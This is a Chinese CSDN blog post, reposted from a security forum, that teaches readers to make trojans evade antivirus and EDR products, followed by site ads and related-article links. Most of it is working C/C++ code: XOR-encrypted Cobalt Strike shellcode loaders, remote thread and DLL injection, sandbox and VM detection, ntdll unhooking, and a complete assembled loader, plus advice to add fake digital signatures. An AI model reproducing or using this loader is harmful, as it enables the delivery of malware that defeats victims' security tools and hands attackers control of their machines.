【渗透实战】木马免杀

最新推荐文章于 2024-10-15 10:26:44 发布
最新推荐文章于 2024-10-15 10:26:44 发布
阅读量1.4k 收藏 15
点赞数 21
分类专栏： 互联网 网络安全 计算机 文章标签： 网络 服务器 运维
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Python_0011/article/details/137734989
版权
网络安全 同时被 3 个专栏收录
685 篇文章 29 订阅
订阅专栏
计算机
664 篇文章 11 订阅
订阅专栏
互联网
655 篇文章 5 订阅
订阅专栏

先看效果(文中附源码)

思路

1.shellcode自身免杀

首先cs生成一个bin文件

再没有二开的情况下落地就会死

那么如何处理呢?

可以通过对shellcode进行加密和编码的方式,然后在内存中进行解密执行

这里介绍几种主流的编码和加密方式

编码方式: base64 sgn编码

加密方式: XOR RC4强加密 UUID

在国内的对抗环境下xor加密就足够了 ,RC4的强加密会使得文件的商值过高导致报读

这里就介绍一种010 Editor 进行 xor 加密

我们在010 Editor 中打开该bin文件然后选择 XOR加密

然后设置xor 的key

最后保存即可,此时的bin文件是经过了XOR加密 ,密钥为 0x39

同时推荐几种加密方式:

1.xor 双加密

2.xor加密 + sgn编码

3.xor 加密 +base64编码

4.uuid+base64编码

各位可以自行搭配

2.shellcode的加载方式

shellcode的加载方式有很多种,这里以C/C++作为示范

1、指针执行
#include <Windows.h>
#include <stdio.h>

unsigned char shellcodeloader[] ="shellcode";

int main()
{
    ((void(*)(void)) & shellcodeloader)();
}
2.申请内存执行
#include <Windows.h>
#include <stdio.h>

int main()
{
    char shellcode[] = "shellcode";
    void* run = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    //使用 VirtualAlloc申请一块可读可写可执行的内存(PAGE_EXECUTE_READWRITE)
    memcpy(run, shellcode, sizeof shellcode);
    //使用memcopy将shellcode拷贝到刚刚申请的内存中
    ((void(*)())run)();
}
3.资源加载shellcode

这也是我木马免杀的执行方式

先补充一些前置知识需要学习3个函数

1、FindResource：该函数确定指定模块中指定类型和名称的资源所在位置。

HRSRC FindResource(
  [in, optional] HMODULE hModule,
  [in]           LPCSTR  lpName,
  [in]           LPCSTR  lpType
);
  • hModule：处理包含资源的可执行文件的模块。NULL值则指定模块句柄指向操作系统通常情况下创建最近过程的相关位图文件。
  • lpName：指定资源名称。若想了解更多的信息，请参见注意部分。
  • lpType：指定资源类
HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_CALC_BIN1), L"calc_bin");
  • MAKEINTRESOURCE将一个整数值转换为一种资源类型

2、SizeofResource：表示该函数返回指定资源的字节数大小。

DWORD SizeofResource(
  [in, optional] HMODULE hModule,
  [in]           HRSRC   hResInfo
);
  • hModule：包合资源的可执行文件模块的句柄。
  • hReslnfo：资源句柄。此句柄必须由函数FindResource或FindResourceEx来创建。
DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);

3、LoadResource：装载指定资源到全局存储器

HGLOBAL LoadResource(
  [in, optional] HMODULE hModule,
  [in]           HRSRC   hResInfo
);
  • hModule：处理包合资源的可执行文件的模块句柄。若hModule为NULL，系统从当前过程中的模块中装载资源。
  • hReslnfo：将被装载资源的句柄。它必须由函数FindResource [1] 或FindResourceEx创建。
HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);

下面是完整的源码

DWORD oldProtect;
BOOL pt;
HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_PAYLOAD_BIN1), L"PAYLOAD_BIN");
//找到shellcode资源，获取它的资源句柄
//它的名称为IDR_PAYLOAD_BIN1，类型为PAYLOAD_BIN
HGLOBAL shellcodeResourceData = LoadResource(NULL, shellcodeResource);
//读取其中的数据
DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
//读取数据⻓度，开辟内存空间读⼊，获得该空间指针
4.无API加载shellcode

我们希望我们的shellcode被分配在可执行文件的.text部分中，这样就不需要分配RWX内存块来存储shellcode。此外，
我们需要将shellcode数组强制转换为函数指针并调用它-

#pragma section(".text")

__declspec(allocate(".text")) char goodcode[] = {  };

int main()
{
    //(*(void(*)())(&goodcode))();
    ((void(*)())(&goodcode))();
}

利用

设置data段可写 执行shellcode

#include <Windows.h>

#pragma comment(linker, "/section:.data,RWE")//设置data段可写,就这么短短一行代码
unsigned char shellcode[] = {  };
//全局变量会保存在.data中，

int main()

{
    ((void(*)())(void*)shellcode)();//执行shellcode
}
5.远程线程注入

*火绒对于线程注入的操作并不敏感,但是某数字杀软晶核的环境下除了高信誉的白名单以外不要尝试进程或者线程注入

我们也可以通过CreateToolhelp32Snapshot去获取系统中正在运行的进程信息，线程信息然后进行判断,如果是火绒的环境就进行注入,如果是某数字杀软的环境就指针执行或者是注入自身(某数字杀软任何注入自身没有威胁)

我们先学习一下前置知识:

使用远程线程注入，我们需要使用4个主要函数：OpenProcess, VirtualAllocEx, WriteProcessMemory，CreateRemoteThread

思路:

  1. 打开远程进程的句柄（pid）(OpenProcess)
  2. 使用VirtualAllocEx在远程进程中分配具有读、写和执行必要权限的内存空间
  3. 然后使用WriteProcessMemory将shellcode写入到内存缓冲区中
  4. 最后通过调用CreateRemoteThread来创建远程线程

主要是了解一下每一个windowsAPI的功能和传入的参数

1、OpenProcess

HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
  • dwDesiredAccess：一个或多个进程访问权限
  • bInheritHandle：是否继承句柄
  • dwProcessId：进程的标识符
printf("Injecting to PID: %i", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

2、VirtualAllocEx

LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
  • hProcess：进程的句柄。该函数在该进程的虚拟地址空间内分配内存，句柄必须具有PROCESS_VM_OPERATION访问权限
  • lpAddress：保留页面的内存地址；一般用NULL自动分配
  • dwSize：要分配的内存区域的大小，以字节为单位
  • flAllocationType：内存分配的类型
  • flProtect：该内存的初始保护属性
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE)

3、WriteProcessMemory

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
  • hProcess：要修改的进程内存的句柄。句柄必须拥有对进程的PROCESS_VM_WRITE和PROCESS_VM_OPERATION访问权限
  • lpBaseAddress：要写的内存首地址
  • lpBuffer：指向要写的数据的指针
  • nSize：要写入的字节数
  • lpNumberOfBytesWritten：指向一个变量的指针，该变量接收传输到指定进程的字节数。该参数是可选的。如果_lpNumberOfBytesWritten_存在空，则忽略该参数。
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);

4、CreateRemoteThread

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);
  • hProcess：将在其中创建线程的进程的句柄
  • lpThreadAttributes：一个指向 SECURITY_ATTRIBUTES 结构的指针, 该结构指定了线程的安全属性.
  • dwStackSize：线程栈初始大小,以字节为单位,如果该值设为0,那么使用系统默认大小.
  • lpStartAddress：在远程进程的地址空间中,该线程的线程函数的起始地址.
  • lpParameter：指向要传递给线程函数的变量的指针。
  • dwCreationFlags：线程的创建标志.
  • lpThreadId：指向所创建线程ID的指针，如果该参数为空，则不返回线程标识符
remoteThread = CreateRemoteThread(processHandle, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);

接下来是完整的代码

#include <Windows.h>
#include <stdio.h>

int main(int argc, char* argv[])
{
    unsigned char shellcode[] = {};

    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;

    printf("Injecting to PID: %i", atoi(argv[1]));
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
  //打开进程
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode,
  (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
  //申请内存
    WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
  //写入内存
    remoteThread = CreateRemoteThread(processHandle, NULL, 0, 
  (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
  //创建远程线程
    CloseHandle(processHandle);
    return 0;
}

看到这里相信各位也想到了一个问题,如果我想要远程注入notepad,如何获取到他的PID呢?

那就得使用到我们之前所说的CreateToolhelp32Snapshot

我们接着学习三个windowsAPI

1、CreateToolhelp32Snapshot：可以获取系统中正在运行的进程信息，线程信息

HANDLE CreateToolhelp32Snapshot(
  [in] DWORD dwFlags,
  [in] DWORD th32ProcessID
);
  • dwFlags：用来指定“快照”中需要返回的对象，可以是TH32CS_SNAPPROCESS等
  • th32ProcessID：一个进程ID号，用来指定要获取哪一个进程的快照，当获取系统进程列表或获取 当前进程快照时可以设为0
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);//创建一个系统快照

2、Process32First：获得第一个进程的句柄

BOOL Process32First(
[in]      HANDLE           hSnapshot,
[in, out] LPPROCESSENTRY32 lppe
);

3、Process32Next：获得下一个进程的句柄

BOOL Process32Next(
[in]  HANDLE           hSnapshot,
[out] LPPROCESSENTRY32 lppe
);

完整代码:

DWORD FindTargetPID(LPCTSTR lpszProcess)//参数lpszProcess指明想要获取的目标进程的名字
{
    DWORD dwRet = 0;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    //创建一个系统快照
    PROCESSENTRY32 pe32;
    //这里定义了一个PROCESSENTRY32结构,它用来保存进程信息
    pe32.dwSize = sizeof(PROCESSENTRY32);//结构大小
    Process32First(hSnapshot, &pe32);
    //获取系统快照中的第一个系统进程
    do
    {
        if (lstrcmpi(pe32.szExeFile, lpszProcess) == 0)
        //lstrcmpi函数用获取的进程名与指定的进程名进行比较
        {
            dwRet = pe32.th32ProcessID;
            //获取进程ID
            break;
        }
    } while (Process32Next(hSnapshot, &pe32));
    //循环
    CloseHandle(hSnapshot);
    //关闭系统快照
    return dwRet;
    //返回进程ID
}

6.需要用到LoadLibraryA

经典DLL注入到远程进程中，根据上面远程进程注入的知识，写出简单的demo

我们利用cs生成的dll文件上传到目标电脑上然后编译对应的exe,也就是说双文件落地的形式

即: cs上线的dll文件 dllinject.exe

#include <Windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
    HANDLE processHandle;
    PVOID remoteBuffer;
    wchar_t dllPath[] = TEXT("C:\\Users\\ning\\Desktop\\DLLinject\\cs.dll");
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath,
  MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
    PTHREAD_START_ROUTINE threatStartRoutineAddress = 
  (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
    CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, 
  remoteBuffer, 0, NULL);
    CloseHandle(processHandle);
    return 0;
}

那么我们不妨发散思维,我们可以远端加载dll文件进行注入,在目标上只留下dllinject.exe,同时在完成上线后

我们将远端的dll文件删除,这样云沙箱是不是就无法加载了?

6.RW+RX的内存

AV/EDR喜欢扫描具有RWX属性的内存区域,尤其是国外著名的卡巴斯基,其内存扫描的本质就是扫描内存中的RWX权限，所以我们使用RW+RX来规避

步骤:

1.VirtualAlloc申请可读可写的内存属性 RW

2.memcopy将shellcode拷贝到内存

3.VirtualProtect改变内存属性为RX

4.指针执行

那么下面我们来学习一下VirtualProtect

VirtualProtect：可以用来改变内存属性

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);
  • lpAddress：指向要变更保护属性的地址起始位置
  • dwSize：要更改其访问保护属性的区域的大小
  • flNewProtect：更改的内存属性
  • lpflOldProtect：内存原始属性保存地址

代码如下：

#include <Windows.h>

int main() {
    int shellcode_size = 0; // shellcode长度
    BOOL pt;
    DWORD oldProtect;
    unsigned char buf[] = {  };
    shellcode_size = sizeof(buf);
    LPVOID shellcode;
    shellcode = VirtualAlloc(NULL, shellcode_size, MEM_COMMIT, 0x04);
    CopyMemory(shellcode, buf, shellcode_size);
    pt = VirtualProtect(shellcode, shellcode_size, 0x20, &oldProtect);
    ((void(*)())shellcode)();
}

由于篇幅有限,APC注入等涉及到windows异常处理机制,这里暂不介绍,有兴趣可以自行了解

3.反沙箱

反沙箱是木马免杀中极为重要的一环

为什么这么说呢?

所有的杀软本地都会有一个内置的沙箱,当我们想要运行一个陌生的exe时,都会在沙箱中模拟运行,所有木马能否上线的关键点在于反沙箱

那么沙箱查杀的是什么呢?

1.静态查杀

如何处理?

做好 源代码的混淆 资源文件 动态解析API

2.动态查杀

当你的exe在运行是修改注册表实现自启动或者是释放某些文件亦或是添加用户 ,此时沙箱会检测此类操作,

然后报读

我们要写反沙箱首先要了解沙箱的特性是什么:

沙箱不是真实的环境,而是被虚拟话出来的

1.常规的反沙箱

我们可以通过延迟执行、开机时间、物理内存、CPU核心数，文件名、磁盘大小、500M内存0填充、用户名、进程名去判断是否是在沙箱的环境中,如果是在沙箱的环境,那就退出

2.钓鱼的如何写反沙箱

或者是检测当前环境是否有微信、钉钉、或者鼠标是否移动来判断

接下来给出我常用的反沙箱代码:

1.检测当前操作系统是否超过十分钟,如果没超过就退出

int a(){
    check();
    ULONG uptime = GetTickCount();
    if (uptime >= 10 * 60 * 1000) {
        //MessageBox(NULL, L"程序异常！", L"异常,请稍后", MB_OK | MB_ICONERROR);
    }
    else {
        exit(1);
}

2.检测当前环境的进程有没有超过60个,如果没有就退出

因为沙箱的进程一般都少于40个,正常电脑的进程应该很多

void BypassSimulation()
{

    HANDLE snapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (INVALID_HANDLE_VALUE == snapShot)
    {
        return;
    }
    PROCESSENTRY32 pe = { sizeof(pe) };

    int num = 0;
    for (BOOL ret = Process32First(snapShot, &pe); ret; ret = Process32Next(snapShot, &pe))
    {
        num++;
    }
    if (num <= 60)
    {
        exit(1);
    }

}

3.检测发行版本是否为中文

int check() {

    LANGID langId = GetUserDefaultUILanguage();
    if (PRIMARYLANGID(langId) == LANG_CHINESE)
    {
        printf("Chinese");
        RunCode();
    }
    else
    {
        printf("Error");
        exit(1);
    }
    return 0;

}

4.检测是否在虚拟机中

int check(char* name) {
    const char* list[4] = { "vmtoolsd.exe","vmwaretrat.exe","vmwareuser.exe","vmacthlp.exe" };
    for (int i = 0; i < 4; i++) {
        if (strcmp(name, list[i]) == 0)
            return -1;
    }
    return 0;
}

bool CheckProcess() {
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    BOOL bResult = Process32First(hProcessSnap, &pe32);
    while (bResult) {
        char ss_Name[MAX_PATH] = { 0 };
        WideCharToMultiByte(CP_ACP, 0, pe32.szExeFile, -1, ss_Name, sizeof(ss_Name),
    NULL, NULL);
        //printf("%s\n", ss_Name);
        if (check(ss_Name) == -1)
            return false;
        bResult = Process32Next(hProcessSnap, &pe32);
    }
    return true;
}

bool checkReg() {
    HKEY hkey;
    if (RegOpenKey(HKEY_CLASSES_ROOT, L"\\Applications\\VMwareHostOpen.exe",
  &hkey) == ERROR_SUCCESS) {
        return true;
    }
    else {
        return false;
    }

}

bool checkfile() {
    WIN32_FIND_DATAW findFileData;
    if (FindFirstFileW(L"C:\\Program Files\\VMware\\VMware Tools\\VMToolsHook.dll", 
  &findFileData) == INVALID_HANDLE_VALUE) 
        return false;
}
4.和edr的一些对抗

像x擎或者是某藤云的一些edr产品会对ntdll.dll进行hook挂钩

如何理解?

先介绍一下windowsapi的调用链

我们常用的一些windowsapi函数都存储在kernel32.dll的动态链接库中

比如说我们使用VirtualAlloc函数,那么他是如何被一步步调用的呢

首先是在3环,即用户层的 kernel32.dll中调用kernelVirtualAlloc

然后kernelVirtualAlloc去调取ntdll中的NtVirtualAlloc

最后NtVirtualAlloc通过syscall的方式去内存层实现分配内存

而杀软会对这些dll文件进行hook监控

当我们再调用VirtualAlloc时,edr会修改ntdll中的该函数使其jmp到edr内置的dll中,edr会

通过你的函数调用去查杀

那么重点来了,如何去对抗呢?

1.在shellcodeloader时添加大量垃圾函数或者执行一些东西打乱edr查杀

2.直接通过syscall绕过edr的hook(某数字杀软晶核的环境下依然会被检测到)

3.重新加载一份干净的ntdll文件

这里着重给大家介绍第三种,直接附上源码安心食用即可

int main()
{
    HANDLE process = GetCurrentProcess();
    MODULEINFO mi = {};
    HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
    GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
    LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;

    HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll",
  GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, 
  PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

    PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
    PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + 
  hookedDosHeader->e_lfanew);

    for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
        PIMAGE_SECTION_HEADER hookedSectionHeader = 
    (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) 
    + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

        if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
            DWORD oldProtection = 0;
            bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + 
      (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
      hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
            memcpy((LPVOID)((DWORD_PTR)ntdllBase + 
      (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
      (LPVOID)((DWORD_PTR)ntdllMappingAddress +
      (DWORD_PTR)hookedSectionHeader->VirtualAddress),
      hookedSectionHeader->Misc.VirtualSize);
            isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase 
      + (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
      hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
        }
    }
    CloseHandle(process);
    CloseHandle(ntdllFile);
    CloseHandle(ntdllMapping);
    FreeLibrary(ntdllModule);

    return 0;
}
具体实现

该将的都讲了,接下来上源码!

需要注意的是,132行的key设置为文章开头你加密的key

#include <Windows.h>
#include <wincrypt.h>
#include <string.h>
#include <stdlib.h>
#include <winreg.h>
#include <tlhelp32.h>
#include <time.h>
#include "resource.h"
#include <io.h>
#pragma comment(lib, "Crypt32.lib")
#include <psapi.h>
#include <iostream>
#include <stdio.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

DWORD UNHOOKntdll() {
    MODULEINFO mi = {};
    HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
    GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi));
    LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
    HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", 
  GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, 
  PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
    PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
    PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase +
  hookedDosHeader->e_lfanew);
    for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++)
    {
        PIMAGE_SECTION_HEADER hookedSectionHeader = 
    (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) 
    + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
        if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
            DWORD oldProtection = 0;
            bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase
      + (DWORD_PTR)hookedSectionHeader->VirtualAddress),
      hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
            memcpy((LPVOID)((DWORD_PTR)ntdllBase +
      (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
      (LPVOID)((DWORD_PTR)ntdllMappingAddress
      + (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
      hookedSectionHeader->Misc.VirtualSize);
            isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase +
      (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
      hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
        }
    }
    CloseHandle(ntdllFile);
    CloseHandle(ntdllMapping);
    FreeLibrary(ntdllModule);
    return 0;
}

void BypassSimulation()
{

    HANDLE snapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (INVALID_HANDLE_VALUE == snapShot)
    {
        return;
    }
    PROCESSENTRY32 pe = { sizeof(pe) };

    int num = 0;
    for (BOOL ret = Process32First(snapShot, &pe);ret; ret = Process32Next(snapShot, &pe))
    {
        num++;
    }
    if (num <= 60)
    {
        exit(1);
    }

}

void RunCode() {}
//检测发行版本
int check() {

    LANGID langId = GetUserDefaultUILanguage();
    if (PRIMARYLANGID(langId) == LANG_CHINESE)
    {
        printf("Chinese");
        RunCode();
    }
    else
    {
        printf("Error");
        exit(1);

    }
    return 0;

}

int main(int argc, char* argv[])
{
    //先绕沙箱
    BypassSimulation();

    check();
    ULONG uptime = GetTickCount();
    if (uptime >= 10 * 60 * 1000) {
        MessageBox(NULL, L"程序异常！", L"异常,请稍后", MB_OK | MB_ICONERROR);
    }
    else {
        exit(1);
    }

    UNHOOKntdll();

    DWORD oldProtect;
    BOOL pt;
    //找到shellcode资源，获取它的资源句柄
    //它的名称为IDR_PAYLOAD_BIN1，类型为PAYLOAD_BIN
    HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_PAYLOAD_BIN1), 
  L"PAYLOAD_BIN");
    //读取其中的数据
    HGLOBAL shellcodeResourceData = LoadResource(NULL, shellcodeResource);
    //读取数据⻓度，开辟内存空间读⼊，获得该空间指针
    DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
    LPSTR shell = (LPSTR)VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_READWRITE);
    //shellcode数据拷⻉进shell指向的内存空间
    memcpy(shell, shellcodeResourceData, shellcodeSize);
    //此时shellcode已经进⼊内存空间，开始解密执⾏
    //先异或回来
    for (int i = 0; i < shellcodeSize; i++)
    {
        shell[i] ^= 0x39;
    }
    pt = VirtualProtect(shell, shellcodeSize, PAGE_EXECUTE_READ, &oldProtect);
    ((void(*)())shell)();
    return 0;
}

由于我是使用资源文件加载的,我们需要在VS中配置一下

配置为release 的X86

然后修改代码生成为MT模式

点开资源文件然后添加一个资源

讲我们本地的bin文件加载进来重命名为payload.bin

最后重新生成解决方案即可

看下效果

补充一下:在某数字杀软晶核的对抗环境下,由于其非黑即白的特性,需要添加图标详细信息以及打上假的数字签名即可

原文链接：https://forum.butian.net/share/2530

为了帮助大家更好的学习网络安全，我给大家准备了一份网络安全入门/进阶学习资料，里面的内容都是适合零基础小白的笔记和资料，不懂编程也能听懂、看懂这些资料！

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

程序员_大白
关注
专栏目录
红队攻防渗透技术实战流程：红队目标上线之免杀对抗-Webshell篇&静态查杀&行为拦截&流量监控&代码混淆&内存加载&工具魔改
HACKONE的博客
05-27 398
上面的实验代表了webshell查杀的几个特征：表面代码只能解决代码表面的查杀操作行为哥斯拉执行命令无提示antsword执行命分有提示哥斯拉执行命令无提示但是执行net user 有提示antsword执行命分有提示工具指纹源码魔改(指纹打乱，调用逻辑(行为绕过))对抗:流量产品 和 杀毒产品换冷内工具(自己写的工具)让产品没来得及集成这个工具的检测导致绕过(特征库)
木马免杀（绕过杀软）
weixin_43894771的博客
03-11 3848
仅用于学习交流 免杀是一个渗透测试中最苦恼的环节，也是一个需要学习很久的部分。 利用kali生成的木马存在的问题就是无法避免市面上大多数的杀软，及时利用kali自带的免杀也无法达到很好的免杀效果。 免杀技术 1.修改二进制文件中的特征字符 替换、擦除、修改 2.加密技术 通过加密方式使得特征字符不可读，从而逃避杀软检测 运行时分片分段的解密执行，注入进程或杀软不检查的无害文件中 3.防杀软的检测 ...
【木马免杀】
一纸荒芜的博客
08-03 3014
木马免杀
木马免杀基础原理和代码实现
zhuge_long的专栏
10-15 1003
免杀技术全称为反杀毒技术（Anti Anti- Virus），简称“免杀”。它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广，包含反汇编、逆向工程、系统漏洞等技术，所以难度比较高。
木马免杀全攻略
tony的专栏
10-25 2157
木马免杀全攻略[续](图) 大家好，很高兴又与大家见面了，不知道大家对上期的文章是否满意，但是木马的免杀很多啊!可是我只介绍了可执行文件木马免杀这一种，而关于脚本木马的免杀只字未提，真是惭愧……'j6S-U1q:s5l在这篇文章里我会尽量补充上篇文章的不足，系统地介绍一下脚本木马的免杀方法。$K0N4L'V z%s2Z关于脚本木马的查杀原理与可执行文件木马大体相同，所以在这里就不再介绍杀毒软件的
渗透测试-木马免杀的几种方式
MSB_WLAQ的博客
09-28 4837
前言 免杀，又叫免杀毒技术，是反病毒，反间谍的对立面，是一种能使病毒或木马免于被杀毒软件查杀的软件。它除了使病毒木马免于被查杀外，还可以扩增病毒木马的功能，改变病毒木马的行为。免杀的基本特征是破坏特征，有可能是行为特征，只要破坏了病毒与木马所固有的特征，并保证其原有功能没有改变，一次免杀就能完成了。免杀技术也并不是十恶不赦的，例如，在软件保护所用的加密产品（比如壳）中，有一些会被杀毒软件认为是木马病毒；一些安全领域中的部分安全检测产品，也会被杀毒软件误杀，这时就需要免杀技术来应对这些不稳定因素。 1、裸
冰河的渗透实战笔记-冰河.pdf
05-18
冰河整理的全网首个开源的以实战案例为背景的渗透实战笔记，全书共442页，共计37万字（不计空格）。整本书的内容涵盖：Kali基础、渗透工具、木马制作、钓鱼链接生成、爆破密码、内存溢出攻击、web渗透、数据提权、...
内网渗透攻防实战大作业 - Cobalt Strike木马攻击与横向移动详解
最新发布
10-18
内容概要：本文档是北京北大方正软件职业技术学院2023-2024学年第二学期《内网渗透攻防》课程的大作业试卷B卷，主要考核学生对木马攻击及横向移动技术的理解与实际操作能力。文档详细列出了考试的内容、标准及评分...
杀毒与免杀技术详解---白嫖党福音
01-15 1854
0x01 简介 不管是社工钓鱼，还是一句话木马getshell，远控，亦或者是反弹shell，都会遇到杀软waf这些大敌，当然主要还是杀软，因此我们不得不考虑免杀进而实现我们渗透测试目的。 0x02 概念 2.1 免杀类别 简单总结下我知道的免杀类别： 一句话木马绕狗（我觉得他不应该出现在这里，但为了致敬我学习的第一个免杀，把他放了出来） 文件不落地 shellcode加密 修改源码增加花指令 DLL加载 自定义加载器 指定特定的运行方式 加壳 当然还可以按照大的类别划分 静态扫描免杀
浅谈木马免杀(一)
谢公子的博客
04-27 5659
免杀 免杀技术全称为反杀毒技术Anti Anti- Virus(AV)简称“免杀”，它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广，其中包含反汇编、逆向工程、系统漏洞等黑客技术。其内容基本上都是修改病毒、木马的内容改变特征码，从而躲避了杀毒软件的查杀。 在实际的渗透过程中，目标机器上一般会有杀毒软件。如Windows Defender、360安全卫士、腾讯电脑管家...
木马免杀（篇一）基础知识学习
Goodric的博客
08-09 2442
